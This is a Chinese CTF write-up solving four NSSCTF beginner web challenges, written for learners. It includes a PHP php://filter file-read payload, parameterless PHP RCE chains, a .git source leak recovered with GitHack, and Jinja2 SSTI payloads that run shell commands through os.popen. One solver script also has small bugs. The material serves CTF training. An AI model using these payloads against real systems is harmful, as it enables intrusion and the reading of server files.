NSSCTF靶场题解(8)

站在小白的视角上,写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,很助于培养思考题目的逻辑思,payload细节理解方面参考过很多篇wp。尽我所能把细节阐释到位。

如果存在理解说辞不是特别清晰了然的话,就麻烦各位大佬师傅指点啦~

这次写题的感悟是,其实写过的题再写一遍未必能写出来,适时反过去去写旧题,也许有新的感悟?这次题解是夕节特别编辑0v0呀~

其他刷题记录可以在博客主页上看到。主方向是web。


目录

[HUBUCTF 2022 新生赛]Calculate

[SWPUCTF 2021 新生赛]include

[GXYCTF 2019]禁止套娃

[LitCTF 2024]一个....池子?


[HUBUCTF 2022 新生赛]Calculate

开题。

大意就是。计算给出的等式。计算完20个就给FLAG。

但是为了避免被爬虫【大概?】需要你回答问题时长>=1秒。

但是为了获取FLAG。你需要回答每个问题时长<=3秒。

综上回答每个问题时长在1-3秒之间。

超时也不行。时间太短也不行。手动操作计算肯定是来不及的。这个时候写个py脚本或许是个不错的选择。

在写脚本之前。我们来确定一下答案处的参数【写脚本发包时需要知道参数名。

具体做法:【BP拦截一下流量包看看】

获取成功。

传参方式为POST。参数名为ans。

写代码的时候配合一些解释显得更通俗易懂。

#calculate.py【re】
​
import requests
import time      
​
'''用到time是因为我们要满足题目1~3内答题时间需要用到time模块下的方法'''
​
url="http://node5.anna.nssctf.cn:20291/"
res=requests.session()  #创建session对象,接收流量包的一方通过sessionid知道我们是谁,方便对于答对次数计数,如果没有的话其实也可以发包,但无法计数。
​
#每次提交
for i in range(1,30): #这里其实写21就ok了。
    math =""   #设置math,每次计算完math都为空。用处:用来计算每次post提交的值。
​
    response =res.get(url) #GET形式发包。获取题目内容。
    time.sleep(1.1)  #停1.1s来满足题目中1~3秒的限制。
​
    responsetext=response.text  #返回包的内容
    #根据网页源码内容在每个数字前后都有【<div>5</div>】来正则过滤【re】获取目标数字
    for j in range(0,len(responsetext)):
        if responsetext[j-1]==">" and responsetext[j+1]=="<" and responsetext[j]!="\n" :
            math = math +responsetext[j]
    
    math = math.strip('=') #根据上述添加方法必然会把 "=" 囊括进。我们需要将'=去掉。
    final=eval(math)  #就像实际将字符串当作代码执行【245*292】但我们如果没有去除【=】就无法执行,会报错,因为eval本身就可以进行式子运算。不再需要等号了。
    
    #计算工作做好之后,准备发包内容。
    data={
        'ans':final #ans即是我们拦截流量包获取的参数名。final则是计算得到的结果。
    }
​
    response =res.post(url=url,data=data) #发包内容。
    print(response.text) #打印返回的内容
    time.sleep(1) 
​
    #检测FLAG。
    if "NSSCTF{" in response:
        print("Got it:---【",response.text,"】")
        exit() #结束本程序。
​

正则匹配中这行代码是根据实际参与运算的字符来看的。

#正则匹配。
if responsetext[j-1]==">" and responsetext[j+1]=="<" and responsetext[j]!="\n" :
            math = math +responsetext[j]  #这里实际上是对字符的加和。

例如:

页面式子是:【242*29=】

math的加和方式是 “2”

再“24”

再“242”

再“242*”

再“242*2”

...

依次类推最后 math="242*29="

但是eval("242*29=")会报错。eval("242*29")才能得到目标答案。所以我们有一个代码去掉math中的特定字符 “=”:

math=math.sprip('=')

这两张'='除去前后对比图放在这里。就能更理解脚本的编写逻辑。

拿到flag。

这里用的是正则匹配【re】的方法。

可以用bs4获取flag

脚本编写逻辑上和正则大差不差。

#calculate.py【bs4】
​
from time import sleep
from httpx import Client
from bs4 import BeautifulSoup   
​
#对获取到的页面内容进行处理的过程
def get_ans(res):
    try:
        soup =BeautifulSoup(res,"html.parser")
        divs =soup.find_all("div") #找到所有含有【div】
        a = ''
        for div in divs[:-1]:
            a+=div.text
        ans =eval(a)  #对得到的字符串进行代码执行
        return ans  #返回得到的答案
    except:
        return ans
​
#大框架搭建
def main():
​
    url="http://node5.anna.nssctf.cn:25880/"
    with Client() as Client_:
        res = (Client_.get(url)).text #获取题目页面详情。
        ans = get_ans(res)  #利用之前定义的函数获取答案。
        sleep(1.1) #题目要求反应时间在1-3秒内。
        for i in range(20):#设置循环体:因为需要这个过程20次才会给flag。
            res =Client_.post(url,data={"ans":f"{ans}"}).text
            ans = get_ans(res)
            sleep(1.1)
            print(ans)
main()

[SWPUCTF 2021 新生赛]include

开题。

POST还是GET形式?

先试试GET。

代码审计一下:

<?php
ini_set("allow_url_include","on"); #临时开启了远程包含,说明这道题我们可以使用远程包含尝试去解题。也就有意让我们往文件包含与伪协议联想。
header("Content-type: text/html; charset=utf-8");
error_reporting(0);   #不回显报错信息
$file=$_GET['file'];
if(isset($file)){   #检查是否以GET方式传入了file参数
    show_source(__FILE__);  #如果是则显示码源。
    echo 'flag 在flag.php中';  #并且回显【flag 在flag.php中】
}else{
    echo "传入一个file试试";    #如果不是,就像开头我们开题看见的回显【传入一个file试试】一样。
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);     #对于得到的file进行文件包含。
?>    #flag 在flag.php中

这里观察码源可以发现对于文件file是没什么过滤的。【一般题目是有的,可能因为是新生赛的题,普遍偏简单一些。

讲到伪协议,我们可以使用php://filter读取到flag.php,将flag.php以base64的形式给显示出来。

所以我们有payload如下

/?file=php://filter/convert.base64-encode/resource=flag.php

base64解码得到flag。

这里普及一个知识点,编码中一般有大小写字母和‘=’还有数字同时出现的一般是base64编码。

base32没有小写字母。

拿到flag。

[GXYCTF 2019]禁止套娃

开题。

码源抓包看响应头基本上都没什么特别的东西。【基本的信息搜集

只有在扫目录的时候发现了好几个响应200【可以访问。】

而且居多为/.git/【这种情况大多数都是/.git漏洞

访问看看什么情况。

403 Forrbiden

看不了?之前没碰到过这类题。

搜了之后才知道要用githack获取码源。

下载网址是:GitHub - lijiejie/GitHack: A `.git` folder disclosure exploit

我用windows运行的。

这边建议在GitHack目录下开cmd运行。不然下载下来的文件就不会放GitHack了。而是放在你对应启用GitHack.py的路径下。

比如我是复制路径到终端上启动GitHack.py的。我得到的index.php文件就在\User\86189之下。

直接复制GitHack.py的路径到cmd上运行。
得到的下载文件也在\User\86189目录下。

对应启用Githack.py的路径下。

而如果我启动githack.py的路径是GitHack-master底下。我得到的index.php就在GitHack-master之中。

启动githack.py的路径是 GitHack-master底下
得到的index.php就在GitHack-master之中。

这里感谢一下热情的同事!!(比较菜,问了他才知道是这样

解决完路径问题。

看一下flag.php是什么。

index.php

代码审计一下:

GET传入参数exp。

第一个if:

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

ban掉了绝大多数伪协议【data/filter/php/phar】

第二个if:

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

需要在传入的exp在把字母,下划线,成对括号都替换成空【NULL】之后还要剩下分号【;】不可以存在参数。

这个正则只会匹配到 a(); a(b()); a(b(c()));

怎么理解?比如 exp= print_r(phpinfo(get_defined_vars()));

这条语句会先把 get_defined_vars()去掉 再把phpinfo() 去掉 再把print_r() 去掉。

最后剩下一个【

这样这个if语句就会返回True。

第三个if:

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

exp中不能有【info,dec,bin,hex,et...】,并且由于加上了【/i】则对大小写不敏感。也就意味着不管exp=info还是INFO都一样的效果。

在这种情况下基本传参,伪协议,利用常见绕过方法【会被第二个if拦截】都没法得到flag。

这种情况结合第二个IF条件需要成立的条件。基本上就是无参RCE【此时第三个IF把含有‘get’的函数也ban了解决问题。

无参RCE在没有接触过的情况下存在一定难度。需要对于PHP相关函数的了解程度较深。

这里放上一些无参RCE常用函数。

参考NSSCTF上该题解答下一位师傅的wp

//step1:读取当下目录
​
/?exp=var_dump(scandir(current(localeconv())));

//step2:颠倒一下数组顺序
​
?exp=var_dump(array_reverse(scandir(current(localeconv()))));

//step3:颠倒顺序之后在index.php基础上读取下一个,就是flag.php
​
?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));

//step4:高亮读取flag.php文件。
​
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
show_source方法高亮看flag。
//step4:读取码源才可以看flag。
​
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
readfile方法看flag。

这个思路可以用在以后类似的题中获取flag。

[LitCTF 2024]一个....池子?

开题。

需要我输入一些东西?

一般需要输入东西的,RCE,SQL注入,SSTI.....

随便输了个35

其实这个时候感觉有点像SSTI了哈。

输入

system('ls /');

到这里我就感觉跟命令执行(RCE)没什么关系了。

输入

1'
这个回显就感觉和SQL注入没什么关系了。

输入

{{7*7}}

看来是SSTI无疑了。模板是jinja2。

输入

{{"".__class__}}

ok。

直接上payload打。

{{lipsum.__globals__['os']['popen']('ls /').read()}}  #一般用这个payload打比较容易拿flag。

{{lipsum.__globals__['os']['popen']('tac /flag').read()}} #拿flag

这样来说。感觉没有过滤什么。

拿到flag。

我们这个时候可以反过去看看过滤了哪些字符。

载入字典。

测试之后发现基本上没有过滤的字符

可以当是SSTI入门练手题了。适合刚刚接触SSTI食用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值